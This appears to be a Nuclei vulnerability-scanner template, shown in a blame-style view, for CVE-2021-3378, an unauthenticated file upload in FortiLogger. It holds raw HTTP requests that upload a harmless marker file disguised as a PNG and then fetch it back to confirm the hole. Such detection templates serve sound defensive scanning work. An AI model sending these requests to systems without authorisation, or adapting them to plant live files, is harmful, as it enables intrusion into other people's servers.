2021-03-01 00:32:59 +00:00
|
|
|
id: CVE-2021-3378
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: FortiLogger Unauthenticated Arbitrary File Upload
|
|
|
|
author: dwisiswant0
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
This template detects an unauthenticated arbitrary file upload
|
|
|
|
via insecure POST request. It has been tested on version 4.4.2.2 in
|
|
|
|
Windows 10 Enterprise.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://erberkan.github.io/2021/cve-2021-3378/
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 9.8
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2021-3378
|
|
|
|
cwe-id: CWE-434
|
2022-04-22 10:38:41 +00:00
|
|
|
tags: cve,cve2021,fortilogger,fortigate,fortinet
|
2021-03-01 00:32:59 +00:00
|
|
|
|
|
|
|
requests:
|
2021-03-01 08:45:16 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
|
|
|
|
Accept: application/json
|
|
|
|
Referer: {{BaseURL}}
|
|
|
|
Connection: close
|
|
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
|
|
|
|
------WebKitFormBoundarySHHbUsfCoxlX1bpS
|
|
|
|
Content-Disposition: form-data; name="file"; filename="poc.txt"
|
2021-03-05 08:29:13 +00:00
|
|
|
Content-Type: image/png
|
2021-03-01 08:45:16 +00:00
|
|
|
|
|
|
|
POC_TEST
|
|
|
|
|
|
|
|
------WebKitFormBoundarySHHbUsfCoxlX1bpS
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2021-03-01 00:33:25 +00:00
|
|
|
matchers-condition: and
|
2021-03-01 00:32:59 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-03-01 08:45:16 +00:00
|
|
|
- "POC_TEST"
|
2021-03-01 00:32:59 +00:00
|
|
|
part: body
|
2021-03-01 08:45:16 +00:00
|
|
|
|
2021-03-01 00:32:59 +00:00
|
|
|
- type: word
|
|
|
|
words:
|
2021-03-01 08:45:16 +00:00
|
|
|
- "text/plain"
|
2021-03-01 00:32:59 +00:00
|
|
|
- "ASP.NET"
|
|
|
|
condition: and
|
|
|
|
part: header
|